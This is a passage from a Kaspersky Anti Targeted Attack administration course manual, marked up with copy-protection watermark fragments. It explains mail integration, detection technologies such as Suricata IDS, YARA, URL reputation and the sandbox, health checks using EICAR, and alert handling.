This option is suitable for mail systems deployed at the customer’s site, which are completely
managed by IT. It may not fit cloud mail services where you cannot configure a fictitious (virtual)
domain for forwarding message copies.
r
SMTP integration does not have the drawbacks of POP3 integration. Although SMTP is old, it is
st
still the most common emailing protocol.
With this integration method, KATA receives messages as a mail server rather than a mail client
and does not generate unnecessary receive/read notifications.
di
— Kaspersky Secure Mail Gateway (KSMG) or Kaspersky Security for Linux Mail Server (KLMS). 12
It can only be configured if the customer already uses Kaspersky Secure Mail Gateway or
Kaspersky Security for Linux Mail Gateway or plans to purchase one of these products together
re
with KATA.
Integration with KSMG/KLMS has a significant advantage when compared with the other
methods. KSMG/KLMS can block dangerous messages based on the KATA scan results.
With all other integration methods, KATA only informs about a threat post factum, but cannot
or
prevent delivering a dangerous message to the addressee.
It is important to set up only one method of mail retrieval to avoid overloading Kaspersky Anti
Targeted Attack servers. Disable all other methods of receiving email.
e d
pi
co
be
t to
No
12 KSMG/KLMS integration falls out of the scope of this course. Please refer to the online help of the respective products
130
Administration
Mail client integration
ed
ut
rib
st
di
re
or
Create a mailbox on the mail server (you will need to specify its credentials when setting up the sensor),
activate POP3(S) access to it and add a rule that will secretly copy all or some messages. On Microsoft
d
Exchange Server, for instance, it is called a BCC rule.

e
Disable sending duplicate read receipts for this mailbox. Otherwise, senders will receive read notifications
when sensor downloads message copies rather than when actual addressees receive them.
pi
To check configuration on Microsoft Exchange, run Exchange Management Shell and carry out the
following command:
co
Get-MailboxMessageConfiguration -Identity <email address where

Kaspersky Anti Targeted Attack Platform will receive messages> | fl
Check the ReadReceiptResponse parameter. If its value is AlwaysSend, change it to NeverSend. To

achieve this, carry out the following command:
be
Set-MailboxMessageConfiguration -Identity <email address where

Kaspersky Anti Targeted Attack Platform will receive messages> -
ReadReceiptResponse NeverSend
POP3 protocol is disabled in many organizations because it is not deemed necessary and IT/IS may
to
dislike the idea to enable it specifically for KATA. That is why, other things being equal, it is best to use
SMTP integration.
POP3 integration is recommended if other integration methods cannot be used, for example, in some
versions of Office 365.
t
No
131
Administration
Configuring POP3 integration
ed
ut
r ib
st
di
re
or
To configure POP3 integration in the central node interface, go to Sensor servers | localhost (or another
connected sensor) | POP3 Integration, change the status to Enabled and specify the mailbox access
d
parameters:
—
e
IP address of the mail server;

— Whether to use a secure connection (recommended);
— Account for connection to the server;
pi
— Password;
— Mailbox scanning interval;
— Settings for the use of certificates to establish a secure connection.
co
By default, the sensor (standalone or combined with a central node) connects to the mailbox every 2
seconds and downloads all messages. They don't remain in the mailbox. Up to 3000 messages are
downloaded per session. If there are more messages, the backlog plus newly arrived messages are
downloaded during the next session in 2 seconds. After downloading, the sensor 13 parses each message:
extracts the header, body and attachments. Attached files and links are of most interest.
be
t to
No
13 The Preprocessor module
132
Administration
ed
ut
ibr
st
di
You can also enable ICAP integration in the sensor console: go to Program settings | Configure POP3
Integration, select Enabled, then enter the connection parameters.
Mail server integration

re
or
e d
pi
co
be
In the described integration method, the sensor acts as a mail client that receives messages for scanning
via POP3. Kaspersky Anti Targeted Attack also supports an alternative (and often preferred) integration
to
method where the sensor acts as a mail server and receives copies of mail messages via SMTP.
In the context of POP3 or SMTP integration with the mail system, the sensor does not intercept the
corresponding protocols, but receives copies of mail messages to be scanned via one of these protocols.
The mail system must be configured to send copies to the sensor.
t
A sensor can also retrieve mail messages sent via unsecured SMTP protocol from raw traffic using the
No
SPAN interface; but this method is neither recommended nor related to a POP3 or SMTP integration with
the mail system.
133
Administration
To use SMTP mail integration, on the mail gateway, specify the address where to send copies of all mail
ed
messages, for example, BCC to sensor@abc.local, where abc.local is a special domain created for
scanning mail messages rather than the mainstream organization’s domain. Next, on the mail gateway,
specify the sensor (or central node) as the mail server (MX) for this domain.
ut
Once a message arrives to the mail gateway, the original message will be sent to the respective mail
server (for example, mail.abc.lab) and the addressee will receive it. A message copy will be sent to
sensor@abc.local and it will be the sensor that will receive it.
ib
Configuring SMTP integration
r
st
di
re
or
e d
pi
co
On the Kaspersky Anti Targeted Attack side, configure the sensor (or central node) to receive SMTP
email messages as a mail server. In the central node interface, go to Sensor servers | localhost (or
another connected sensor) | SMTP Integration, change the status to Enabled and specify the following
connection parameters:
— Destination Domains are domains whose messages the sensor will accept. If nothing is
be
specified, the sensor will accept messages destined for any domains.
— Clients are hosts or subnets from which the sensor will accept messages. If nothing is specified,
the sensor will accept messages only from all local subnets.
— Message size limit;
— Client TLS security level;
— Whether to request the client’s TLS certificate.
t to
No
134
Administration
ed
ut
ibr
st
di
re
You can also enable SMTP integration through the console of the sensor itself: go to Program settings |
Configure SMTP Integration and select Enabled, then enter the data required for connection.
or
e d
pi
co
be
to
The maximum size of a message that the sensor will accept is 100MB by default.
t
No
135
Administration
Disable mail interception for SPAN traffic
ed
ut
r ib
st
di
re
or
Pre-processing of SMTP protocol and extracting email messages from SPAN traffic are enabled by
default. If you configure another method of integration with email, disable pre-processing SMTP protocol
d
for SPAN traffic to prevent scanning the same messages twice and save resources.
e
To disable SMTP protocol parsing, save the settings into a file for editing:
pi
sudo console-settings-updater get

/kata/configuration/product/preprocessor_span | python3 -m json.tool >
/tmp/1
co
Open the resulting file in a text editor, edit the traffic section and upload it back:
sudo console-settings-updater set

/kata/configuration/product/preprocessor_span @/tmp/1
be
You can also disable extracting other objects from SPAN traffic in the same way if the server receives
them via other channels. For example, if all http traffic passes through a proxy server that forwards files to
Kaspersky Anti Targeted Attack via ICAP, you can disable http protocol parsing for the SPAN traffic.
t to
No
136
Administration
ed
ut
ibr
st
di
re
or
You can also disable intercepting email in SPAN traffic in the sensor interface: Program settings |
Configure traffic capture | Setup capture protocols. Leave only the necessary protocols selected.
Health check
d
To make sure mail scanning is operational, use the administrator's web console:
e
1. In the Sensor servers section, make sure at least one sensor has a POP3 or SMTP check
mark. This means that POP3 or SMTP mail integration is actually enabled.
pi
2. Then check if the sensor is receiving and processing mail messages. To do so, on the
Dashboard page, in the Processed widget, select the POP3 or SMTP source and make sure
the graph shows that messages arrive.
co
Alternatively, email the EICAR test file and verify that a POP3 or SMTP alert appears in the security
specialist’s web console.
Pay attention to the error messages at the top of the Dashboard page: they may include errors related to
be
POP3 or SMTP integration.

t to
No
137
Administration
4.2 KATA detection technologies
ed
ut
rib
st
di
re
or
KATA detection technologies:

d
— IDS detects network attacks in network traffic (SPAN) using updatable and custom rules. It is
based on Suricata.
e
— URL Reputation detects dangerous, phishing and APT-related links.

pi
— The anti-malware engine uses updatable signatures to scan files extracted from email, web or
network traffic.
— Mobile Attack Analyzer uses machine learning methods to detect files dangerous for mobile
co
platforms.
— Sandbox executes files in virtual machines and analyzes their activity to detect dangerous files,
including those downloadable via links.
— YARA classifies files extracted from traffic according to custom YARA rules.
be
Let's look at how detection technologies work and how you can test them.
t to
No
138
Administration
ed
ut
ibr
st
di
re
or
For some detection technologies, you can write custom rules. Also, some technologies don't function
without connection to KSN.
Third-party IDS rules

e d
pi
co
be
t to
No
139
Administration
Third-party IDS rules are often included in public reports on detected attacks or malware; you can also
ed
find them in other open sources and analytical reports.
It is important to analyze which of them are really useful, which sources can be trusted and whether
information about what these rules detect is reliable, rather than simply add all third-party rules that you
ut
can find.
ib
r
st
di
re
or
e d
To import third-party IDS rules, go to Custom rules | IDS, click Import and upload your file with third-
pi
party IDS rules.
You can upload only one file. If you need to make some changes, download the existing file, edit it, and
then upload it to KATA using the Replace button.
co
be
t to
No
140
Administration
Third-party YARA rules
ed
ut
ib
r
st
di
re
or
Kaspersky Anti Targeted Attack and Kaspersky Endpoint Detection and Response products are delivered
d
without YARA rules and apply rules uploaded by a senior security officer.
e
Yara is a multi-platform tool for detecting and classifying malware families. Its creator Victor Alvarez
describes his system as “the pattern matching Swiss knife for malware researchers,” adding that “YARA
is to files what Snort (Suricata) is to network traffic”. The tool has indeed become fairly widespread in the
pi
field of information security.
Yara can detect not only malware, but also utilities that evade anti-malware blocking by not having a
co
malicious component. Such utilities can have an undeclared or secondary functionality that may be used
during an attack. These are indicators of compromise. The system administrator must be informed about
indicators of compromise in the corporate traffic. For example, remote management or password
harvesting tools.
Yara rules don't have to be created manually. There are online generators that analyze an uploaded file
be
and help create rules based on the strings from this file that have not been encountered in any known
legitimate software.
Conditions in Yara rules are strings that describe malware or another object in the form of text and/or hex
sequences. Each description is followed by a logical expression defining the conditions that the object
t to
No
141
Administration
must satisfy. A standard rule is specified as follows: first the name and a description of the rule, then the
ed
variables, and lastly the match conditions.
rule RuleNameHere
{
meta:
ut
strings:
$a =
$b =
ib
condition:
$a logical operator $b
}
r
st
Rules can be interconnected. One of the conditions for an object to satisfy a rule can be that it satisfies
another rule earlier in the list.
In the simplest case, you need to name the rule (for example, ‘TestRule’). Enter the text and hex
di
variables: $my_text_string and $my_hex_string. Specify the match condition: detection of one of the
variables ($my_text_string or $my_hex_string).
re
rule TestRule
{
strings:
$my_text_string = "malware"
$my_hex_string = { 6e 65 77 20 76 69 72 75 73 }
or
condition:
$my_text_string or $my_hex_string
}
If the “malware” text or the hex sequence “6e 65 77 20 76 69 72 75 73” is detected in an object, an alert
d
will be created.
Detection of the Eicar test virus looks as follows. Here, the ‘meta’ information section is added, which
e
contains information about the rule, but does not affect the rule itself.
pi
rule Eicar_test
{
meta:
co
description = “Just Eicar test”

in_ the_wild = true
strings:
$a = “EICAR-STANDARD-ANTIVIRUS-TEST-FILE”
condition:
$a
be
A sophisticated threat cannot be described using just one rule. Several rules are necessary.
t to
No
142
Administration
ed
ut
ibr
st
di
re
or
To import third-party YARA rules, go to Custom rules | YARA, click Import and upload your file with
third-party YARA rules.
You can upload several files with YARA rules, not just one (which is the case with IDS). KATA will
d
process each rule from each file separately and will allow users to manage each individual rule: enable or
disable it, view related events and download the rule.
e
pi
co
be
t to
No
143
Administration
Exclusions
ed
ut
ib
r
st
di
re
or
If an IDS rule creates too many trifle alerts, you can disable it by creating an exclusion.
d
To create an exclusion, in the IDS alert card, click the Add to exclusions link in the Recommendations
area on the right. The exclusion is named by the rule name and contains all the attributes of the rule. You
e
can add a description to explain why the rule should be disabled.
All configured exclusions are listed in the Settings | Exclusions section, on the IDS Exclusions tab.
pi
An exclusion disables the rule for all traffic. You cannot disable a rule for a specific address or address
range.
co
be
t to
No
144
Administration
ed
ut
ib
r
st
di
re
or
If false positives occur, create an exclusion rule. You can use the following criteria in such a rule:
— MD5,
— Format,
— URL mask,
d
— Recipient email,
— Sender email,
e
— Source IP or subnet,
— Destination IP or subnet,
—
pi
User agent.
co
be
t to
No
145
Administration
Dashboard
ed
ut
ibr
st
di
re
The first thing a security specialist sees in a central node's console is the Dashboard section with
statistics. By default, all widgets available for the installed licenses are displayed:
—
or
KATA and KEDR:
— Alerts by status;
— Alerts by importance;
— VIP alerts by importance;
d
— Alerts by technology.
e
— KATA:
— Alerts by attack vector (source);
pi
— Domains;
— IP addresses;
co
— Email senders (addresses);

— Email recipients (addresses).
— KEDR
— TAA hosts: hosts where events that match TAA rules were logged and reported;
be
— TAA rules.
By default, statistics are displayed for the current date and show only unprocessed alerts. You can adjust
the statistics period in the upper right corner. You can also save the currently displayed statistics to a
PDF file.
to
The widgets with hosts and TAA rules show the statistics of tagged telemetry events instead of alerts.
You can select the rules’ importance level to filter data. Since individual events cannot be either
processed or unprocessed, contents of these widgets don't depend on the Processed switch at the top of
the page.
t
No
All widgets show 10 (or fewer) of the most commonly encountered values. All lists are interactive in the
widgets: you can click a technology name, address, domain, or TAA rule to automatically open the list of
alerts or telemetry events filtered by the selected value.
146
Administration
List of alerts
ed
ut
r ib
st
di
re
or
Perhaps the main tool of a security specialist is the Alerts table. A historical list of alerts from the newest
to the oldest is displayed here.
d
For each alert, the following data is displayed:

e
— VIP Status — only senior security officers can see details of these alerts and process them. A
senior security officer can assign the VIP status manually; also, the central node can assign it
pi
automatically according to the configured conditions.

— Alert creation timestamp.
— Name of the threat according to the detection technology.
co
— Alert details that depend on the detection technology. This can be the name of a file involved,
URL, or the number of computers where the dangerous activity has been detected.
— Source and destination address for traffic alerts. These can be email addresses for mail alerts or
IP addresses for web traffic alerts.
be
— Abbreviations of the detection technologies:

— AM — Anti-Malware Engine;
— SB — Sandbox;
— URL — URL Reputation;
— IDS — Intrusion Detection System (raw traffic analysis);
to
— YARA — YARA detection by custom rules;

— TAA — Targeted Attack Analyzer (dangerous activity in network endpoints’ telemetry);
— IOC — indicators of compromise on network endpoints.
File alerts can contain any combination of AM, SB and YARA technologies. Other technologies
t
always produce unique alerts.

—
No
Alert processing status. All alerts are created in the New status, which is additionally marked with
a red dot. You can assign an alert to a security specialist; after that, the State column will display
the employee's account and a yellow dot. The specialist will eventually process the alert and it
will be marked with a green dot and the employee's name.
147
Administration
By default, processed alerts are hidden. To show or hide processed alerts, use the Processed switch at
ed
the top of the page. It influences not only the alerts displayed in the table, but also statistics above the
table and contents of widgets on the Dashboard page.
Personnel can filter the table by any field or by multiple fields at once. You can configure complex
ut
conditions in the filters. In the filter of the Details field, you can configure conditions for various alert
attributes.
A senior security officer can process several (or all) alerts simultaneously. For this purpose, select
ib
multiple alerts using the checkboxes on the left. A non-senior security officer can process alerts only one
by one.
r
General alert properties
st
di
re
or
e d
pi
co
All attributes of alerts originating from various sources and technologies are listed in the product's online
help.
be
Let's have a closer look at an alert card and study the attributes that are common to various types of
alerts. The following information is displayed at the top of all alerts:
— State — alert processing status; it can be New, In process or Processed.
— Importance of an alert is defined by the detection technology and you cannot adjust it. For some
to
detection technologies, a security specialist can pre-configure the importance level of custom
rules, but once an alert card is created, its importance cannot be changed.
— Data source is where the alert originates. For traffic detections, it shows the sensor type —
SPAN, ICAP, SMPT, POP3 — and the address of the server that received the data (sensor or
t
central node).
No
In TAA alerts, the source is specified as ENDPOINT without the computer’s address.
In alerts related to a file requested via KEDR, the source is specified as ENDPOINT plus the
computer name.
148
Administration
In alerts related to files uploaded to the storage, the source is Storage.
ed
— Time created is the timestamp when the alert was created.
— Time updated is the time when data was last added to the card.
For many types of alerts, a single card accumulates data with similar incidents over 24 hours
ut
instead of creating numerous alerts. Time updated does not depend on the alert processing
status, but only reflects addition of new incident details to the card.
For IDS and file-related alerts, there is the Recommendations area on the right that shows the
ib
recommended activities in the form of links. For example, you can easily find other alerts with the same
attributes using the links: other alerts for the same file or the same computer.
r
If you are using KATA and KEDR at the same time, you can find telemetry events by network alert
attributes in the Recommendations area and you can use KEDR tools to isolate the related host from the
st
network if the endpoint agent is installed on it.
Additional information about artifacts in an alert
di
re
or
e d
pi
co
be
If an alert pertains to a file or URL, a security specialist can easily find additional information about this
object in Kaspersky Threat Intelligence Portal.
to
To go to the Threat Intelligence portal, use the menu that opens when you click an MD5 or SHA256 hash.
Special authentication by username and certificate is implemented in the portal, since it is only accessible
through a subscription fee.
Each Kaspersky Anti Targeted Attack or Kaspersky Endpoint Detection and Response license includes a
t
limited subscription to Threat Intelligence, with the right to perform 1000 searches per year.
No
The portal contains various information about a file that has the specified checksum. In which regions it
was detected, when, under which names and in which folders. For an executable file, its parent and child
149
Administration
processes are listed. This helps understand whether the file is dangerous. You can use the information
ed
available on the portal when searching for indicators of compromise related to a detected file.
ut
ib
r
st
di
re
or
Kaspersky Threats portal (https://threats.kaspersky.com/) also provides information about various files
d
you might be interested in.

e
URL Reputation
pi
The URL Reputation technology is applied to links extracted from traffic. A so-called preprocessor (a
special module responsible for processing traffic on the sensor or central node) employs this technology.
co
APT Preprocessor extracts objects and metadata from network, web, and mail traffic, and then relays the
data to the local KSN URL Reputation module on sensor (or central node) for further analysis. The
preprocessor performs the following functions:
— Receives mirrored traffic from network devices. Analyzes HTTP, FTP, DNS and SMTP protocols.
Extracts objects and metadata from them.
be
This way, the sensor receives traffic, after which the preprocessor analyzes one of the copies of
the traffic by parsing the HTTP, FTP, DNS and SMTP protocols and extracting objects and
metadata from them.
— Interacts with proxy servers and receives objects from HTTP and FTP traffic over ICAP. HTTPS
to
traffic can also be scanned if the proxy server supports TLS certificate spoofing.
— Interacts with mail servers over POP3(S) and downloads copies of email messages.
— Interacts with the mail gateway over SMTP(S) and receives copies of email messages.
t
In addition to files, the preprocessor extracts URL addresses from the corporate traffic (network, mail, and
web) and checks them using the URL reputation technology. URL Reputation check is implemented as a
No
150
Administration
query sent to Kaspersky Security Network, where the transmitted URL hash is checked against the
ed
following lists:
— APT-related addresses;
— Malicious URLs (including botnet C&C-related hosts);
— Phishing URLs.
ut
The check results are stored in the local KSN cache on the sensor in accordance with the TTL value
returned with the results. If the lifetime has not expired and a previously scanned link is extracted from the
traffic again, the cached result is used to improve performance. The request is not sent to Kaspersky
ib
Security Network anew. Requests are only sent for new links.
Kaspersky Anti Targeted Attack also checks active links in office documents, but the scanning is
r
performed by the anti-malware engine on the central node rather than by the URL reputation module on
the sensor.
st
Based on the described principles of URL Reputation operation, in order to check the module health,
access a URL that belongs to a detectable category and make sure an alert by the URL Reputation
di
technology appears in the web console.
You can use http://www.kaspersky.com/test/wmuf as a test URL. This is a special test URL that
Kaspersky products recognize as malicious.
—
Open the URL in a browser;
Email a message with this URL in the body.
re
You can use one of the following methods to intercept this URL in the traffic:
—
or
The URL Reputation module works only through queries that a special KSN client (another module of
Kaspersky Anti Targeted Attack/Kaspersky Endpoint Detection and Response) sends to Kaspersky
Security Network.
d
The KSN client functionality is divided between the KSN file reputation module, which belongs to the
central node, and the KSN URL reputation module that pertains to the sensor. The central node checks
e
files against the cloud database so as not to overload the sensor, because files will be sent to the central
node for further analysis in any case.
pi
If Kaspersky Security Network is inaccessible, the URL Reputation technology will not work. Information
about updates and KSN status is displayed in the web interface of any account. Go to the Dashboard
page and see if there are any error messages at the top. These statuses are updated every 10 minutes.
co
You can find details of KSN connection errors in the log /var/log/kaspersky/apt-
swarm/ksn_proxy/ksn_proxy.log.
IDS
be
Kaspersky Anti Targeted Attack uses the Suricata14 intrusion detection system to detect indicators of
dangerous activity in the network traffic.
Suricata is a multiplatform network intrusion detection and prevention system with open-source code. It is
to
used in information security products: firewalls, IDS/IPS devices, DLP and SIEM solutions.
Suricata logs and analyzes network packets in real time. During the analysis, traffic is scanned using
rules; afterwards, the action preconfigured by the analyst is taken. The system can detect a variety of
t
No
14 https://suricata-ids.org/
151
Administration
attacks, scans and probes, such as attempts to inject malware, buffer overflows attacks, attacks on web
ed
applications, etc.
Suricata operates inside Kaspersky Anti Targeted Attack Platform in passive mode: logs suspicious
packets, but does not block them. This is because a sensor is not connected inline to the network.
ut
The database of rules is supplied with the solution and is periodically updated via the internet. It includes
rules created by Kaspersky experts. A senior security officer can add custom rules via the central node
web interface.
ib
Suricata rules are applied to all raw traffic received through the mirror port. When Suricata receives a
packet, it extracts network and transport layer data from link layer protocols, normalizes them and
analyzes for suspicious activity.
r
st
A Suricata rule consists of two parts: header and options. The header contains the action, protocol,
source, direction, target address and ports. Options specify additional scan settings and rule information.
There can be quite a few settings, including IP packet size, flags in TCP headers, byte sequence, depth
of content scanning, etc. A rule generally looks as follows:
di
action protocol source_ip source_port direction destination_ip
destination_port (options)
re
Here is an example of a rule that warns about HTTP fragments containing the word “violence” that come
through HTTP ports from an external network to an internal network. The ‘nocase’ parameter means that
the analysis is case-insensitive. A warning appears specifying the reason: ‘Violence word matched’. The
variables $EXTERNAL_NET, $HOME_NET and $HTTP_PORTS are used to describe the external
or
network (where the attacks are presumed to originate), the internal network (which needs to be protected)
and the HTTP ports. The variables are set in a configuration file, which also specifies the path to the file
with the rules.
alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:”Violence

d
word matched”; content:”violence”; nocase; sid:1234567;)

e
Detecting sophisticated threats requires a set of rules, not just one. A few or several dozen rules may be
needed.
pi
Based on the described principles of IDS technology operation in Kaspersky Anti Targeted Attack, to
check its health, generate traffic that matches an IDS detection rule configured in the product. There are
three ways to achieve this:
co
— Write a custom test rule and upload it to the product. A test rule can be extremely simple and
can, for example, react to any connection to a particular IP address:
alert tcp any any -> any any (msg:"access to 192.0.2.233"; content:
"192.0.2.233"; sid:1001001;)
be
Once the rule is loaded, it will be sufficient to connect to the specified address and make sure
there is an IDS alert with the respective details on the list. At this writing, for example, the
following query works:
nslookup bandtester.com
to
— Use the fact that Kaspersky IDS rules include a rule that describes downloading the EICAR test
string.
Open a page that contains the EICAR test string using HTTP and make sure the respective alert
appears in the security specialist's web console.
t
The HTTP protocol is important here, because Kaspersky Anti Targeted Attack cannot analyze
No
secure traffic. Even if the proxy server sends objects from HTTPS traffic to Kaspersky Anti
Targeted Attack via ICAP, these files and links have already been extracted from raw traffic, and
the IDS technology is not applied to them.
152
Administration
Anti-malware engine
ed
Files and links that Kaspersky Anti Targeted Attack modules extract from traffic, as well as files that
analysts request from network endpoints using Kaspersky Endpoint Detection and Response tools, are
queued to the central node where the APT Collector module processes them.
ut
APT Collector receives objects to be checked and sorts them. It adds the detection results returned by
sensors’ technologies to the alerts database. It filters files against an allowlist and then queues for
scanning by the anti-malware engine. The anti-malware engine receives objects from the collector,
ib
unpacks if necessary15, scans and decides which other technologies need to be used for scanning.
The anti-malware engine provides:
r
— Signature analysis,
st
— Statistical analysis,
— Heuristic analysis,
— Emulation, etc.
di
If necessary, the anti-malware component relays requests to Kaspersky Security Network for additional
scanning. Answers received from KSN have priority over the results that the anti-malware engine returns.
If the anti-malware engine considers a file to be malicious and Kaspersky Security Network responds that
re
the file is clean, the file will be considered clean and the malicious object detection event will not appear
in the web interface. If the anti-malware engine recognizes a file as clean and the KSN returns the
response that the file is infected, the file will be considered infected and the corresponding alert will
appear in the web interface.
or
Kaspersky Security Network query results are stored in the local KSN cache according to the time-to-live
value. The TTL value arrives with each response from Kaspersky Security Network. If the time-to-live has
not expired, and the central node receives a previously scanned file again, the cached data is used to
improve performance. The request is not sent to Kaspersky Security Network anew.
d
Files whose reputation is not clear yet (non-popular files or files that have only appeared recently) are
queued for rescanning. There is always risk that criminals may avoid detection by creating a file for a
e
specific organization and specific protection applications. If the first scanning detects nothing, repeated
scanning has higher chances thanks to new data that arrive with updates and are available in KSN.
pi
Files queued for rescanning will be scanned repeatedly in 1, 2, 4, 8 and 16 weeks (7, 14, 28, 56 and 112
days). The queue size is limited to 300GB by default. In a large organization, this may be insufficient and
newer files may displace older ones before all planned rescanning is completed.
co
If one of the file scanning technologies (anti-malware engine, YARA or the sandbox server) recognizes a
file as malicious and this file has a digital signature, the APT-Certcheck module will check its signature.
The scan is performed using the certificate database supplied with the solution. The database contains
information about trusted, untrusted and expired certificates. Scanning results are added to the alert and
be
security personnel can use them when responding to the incident.
Based on the above, in order to check health of the anti-malware engine, you need to send a file that the
anti-malware engine considers malicious to the scan queue. Traditionally, EICAR test file (www.eicar.org)
is used for this. It is a special file that does not perform any dangerous actions, but anti-malware
applications recognize it as malicious.
to
To check health of the anti-malware engine in Kaspersky Anti Targeted Attack, download eicar.com from
the official website (the HTTPS protocol is used by default). If Kaspersky Anti Targeted Attack does not
receive files downloaded via HTTPS from the proxy server, email the downloaded eicar.com. The
respective alert should appear in the central node web console.
t
No
15 Up to 32 nesting levels
153
Administration
To check health of the anti-malware engine in Kaspersky Endpoint Detection and Response, simply click
ed
the Upload button on the Storage page of the security specialist’s web console and upload the
eicar.com test file to the storage.
Sandbox
ut
The decision whether to scan a file on a sandbox server is made by the anti-malware engine. The
decision logic is supplied with anti-malware databases and is regularly improved to achieve optimal
ib
results. If the anti-malware engine considers that a file needs to be checked using the sandbox
technology, it creates a file scan task for the sandbox and queues it. A special sandbox agent handles
this queue.
r
The sandbox agent interacts with the sandbox server. The agent receives tasks for scanning files and
st
links from the anti-malware engine and sends them to the server, which analyzes their behavior in
the Windows environment. On sending an object, it receives a job id, which it uses to retrieve the result
during the next connection. The sandbox server does not establish connections to the central node.
di
Virtual machines running Windows XP16, Windows 717 64-bit, Windows 10 64-bit, Astra Linux 1.7 and
CentOS 7.8 operating systems are available on the sandbox device. Each machine includes a set of
various versions of popular business applications, such as Microsoft Office, Adobe Reader, Flash Player,
re
web browsers, etc. A file is scanned in parallel on a few types of virtual machines. To send a file to the
next image, the system does not need to wait for the previous one to finish scanning it. It is the anti-
malware engine of the central node that decides on which virtual machine types a file will be scanned.
Objects can be checked in two modes:

or
— Full logging mode — the object is running in real time and the sandbox collects detailed
diagnostic information for analysis.
— Quick scan mode — the object is running approximately 10 times longer than in the Full logging
mode and we compromise on details when collecting information to save resources.
d
When a file is running on a virtual machine, its actions are logged. The collected data is stored outside
e
the virtual machine and the machine is deleted as soon as scanning completes. New virtual machines are
created from daily updatable snapshots to check each new file.
pi
The collected data are analyzed for malicious or suspicious activity, including exploitation of
vulnerabilities, evasion techniques and attempts to connect to command-and-control (C&C) servers. A
special Scanner component analyzes execution logs and artifacts. The IDS Suricata module (the same as
co
in a network sensor) scans the intercepted traffic of the virtual machine.
Both components, Scanner and IDS (Suricata) use regularly updatable databases for analysis. Kaspersky
Security Network is not used for analysis.
be
The sandbox agent collects the analysis results. It connects to the sandbox approximately once a second
and requests the results of the sent tasks. The sandbox server does not connect to the central node or
network endpoints so as not to compromise other machines if the sandbox server itself is compromised.
Sandbox employs numerous technologies to conceal the virtual environment.

to
Kaspersky Endpoint Detection and Response provides the easiest way to test a sandbox. Just upload
any executable file to the storage using the respective button. Even if the file is clean, the console will
t
No
16 Windows XP was chosen because some workstations still use it although Microsoft withdrew support for it in April 2014. No
support means no updates or patches for vulnerabilities in the system. That makes it a target for cybercriminals.
17 Support for Windows 7 was discontinued in January 2020, and an Extended Security Updates program was available to
organizations until 2022. In any case, end of support does not mean that customers stop using the operating system.
154
Administration
display the file scanning results and you will be able to download an archive with all analysis artifacts
ed
(execution logs, process memory dumps, etc.)
In Kaspersky Anti Targeted Attack, it's not so easy to check a sandbox’s health. You can email an
archived executable, but if the file is clean, the analysis results will not be published in the web console.
ut
4.3 Processing alerts
ib
Alert processing status
r
st
When working in the web interface, security personnel may perform the following actions about events:
— Send data about an event to Kaspersky. To do so, copy data about the event to the clipboard
and then email or send using any other method. Data about an event may contain information
di
that can be considered confidential; therefore, we recommend that you ask the security
department of your organization whether these data can be sent outside.
— Assign the VIP status to the event.
re
— Assign the event to yourself or to another security specialist.
— Mark the event as processed.
— Add a comment to an event. For example, what was found out as a result of the investigation.
or
Revision history is displayed for all alerts. For example, a new alert appeared, then it was assigned for
processing to a security specialist, who closed it and added a comment. Each action has a timestamp.
d
4.4 Identification of threats in traffic

e
pi
Scanning algorithm
Receiving traffic and extracting data

co
Kaspersky Anti Targeted Attack receives data from the organization's network, web and mail traffic. You
can use all or just some of these types of traffic. One or more sensors located in different network
segments or on different sites capture traffic:
— After you switch one of the sensor interfaces to promiscuous mode and connect it to the switch
be
port where packets from other ports are duplicated, sensor starts to receive raw traffic. Traffic is
processed by the intrusion detection system (IDS) and preprocessor concurrently. The
preprocessor extracts objects and metadata from the HTTP, FTP, DNS and SMTP protocols.
— Sensors support interaction with the proxy server via ICAP. In this case, the preprocessor
receives objects from the HTTP and FTP protocols, as well as HTTPS, if the administrator has
configured TLS certificate spoofing on the proxy server.
to
— When integrated with the mail system using the POP3 protocol, the sensor periodically queries
the mailbox where all or part of the mail messages are copied. Downloads these messages and
extracts attached files and links from the message body.
—
t
With SMTP mail integration, the sensor receives copies of email messages over SMTP(S) from
the mail gateway and extracts files and links from them.
No
The preprocessor then sends links extracted from the traffic to the local KSN URL reputation module for
preliminary analysis, and extracted files and metadata to the central node for in-depth analysis.
155
Administration
Preliminary analysis
ed
The KSN URL reputation module on a sensor receives requests from the preprocessor to check links
extracted from network, web and mail traffic. It consults the local KSN cache to check whether these links
belong to the following types of resources:
ut
— Targeted attack related hosts;
— Malicious URLs (including those related to botnet C&C servers);
— Phishing URLs.
ib
If the cache does not contain data about the link, the request is sent to the KSN cloud database.
The sensor’s IDS module analyzes raw traffic for signs of intrusion into the corporate infrastructure. The
r
sensor sends the alerts generated by the URL reputation and IDS technologies to the central node.
st
Detailed study
The central node checks the files and links extracted by the preprocessor and sends some of them to the
di
sandbox server.
The APT collector of the central node receives files from a sensor, checks them against the allowlist and
re
queues for scanning by the anti-malware engine.
The anti-malware engine scans all files for viruses, worms, Trojans and other types of malicious and
unsolicited objects that pose a risk to the company. Signature analysis, heuristic analysis, emulation and
other detection technologies are employed. Active links are also scanned in documents.
or
If an archive is analyzed (regardless of how many nesting levels it contains), or any other compound
object, the anti-malware engine extracts its contents. 32 nesting levels are supported by default. The anti-
malware engine can extract passwords for archives from the message body or apply passwords from the
list configured by the administrator.
d
Some files are copied into a special storage and are rescanned periodically. 300GB of space is allocated
e
to this storage on the central node. If the storage is full, 10% of files are deleted (the oldest ones).
The anti-malware engine not only scans a file, but also decides which other technologies need to check it.
pi
File copies are added to the respective queues and scanned by various technologies simultaneously:
— The Yara module detects indicators of compromise. Yara scans all files. To activate this module,
the system administrator must create, test and add custom rules.
co
— Files are sent to the sandbox server, which analyzes their behavior in a Windows/Linux
environment. A sandbox agent deployed on the central node sends files and retrieves the
results.
The central node does not need to wait for a module to finish scanning before starting another check. The
be
total size of all queues is 20,000 objects, or 100GB of drive space. When a queue is full, 10% of the
oldest files are deleted (this increases the Unprocessed indexes on the dashboard).
So, executable, archive, office, multimedia and some other file types are scanned by the anti-malware
engine and Yara engine. At the same time, these files are sent to the sandbox for payload analysis.
to
The KSN file reputation service checks files after the anti-malware engine and the sandbox server. There
is a KSN cache on the central node and files are first checked against it; only after that, a request is sent
to the cloud.
t
If one of the technologies recognizes an executable file that has a digital signature as malicious, the
central node additionally checks its signature against the certificate database. The APT Certcheck
No
module is responsible for that.
156
Administration
Malicious files get quarantined. 300GB of hard drive space is allocated for the quarantine on the central
ed
node.
Emulation (payload analysis)
ut
The sandbox server scans files and links in the Windows/Linux environment.
Files are queued on the central node and then transferred to the sandbox when it frees resources for
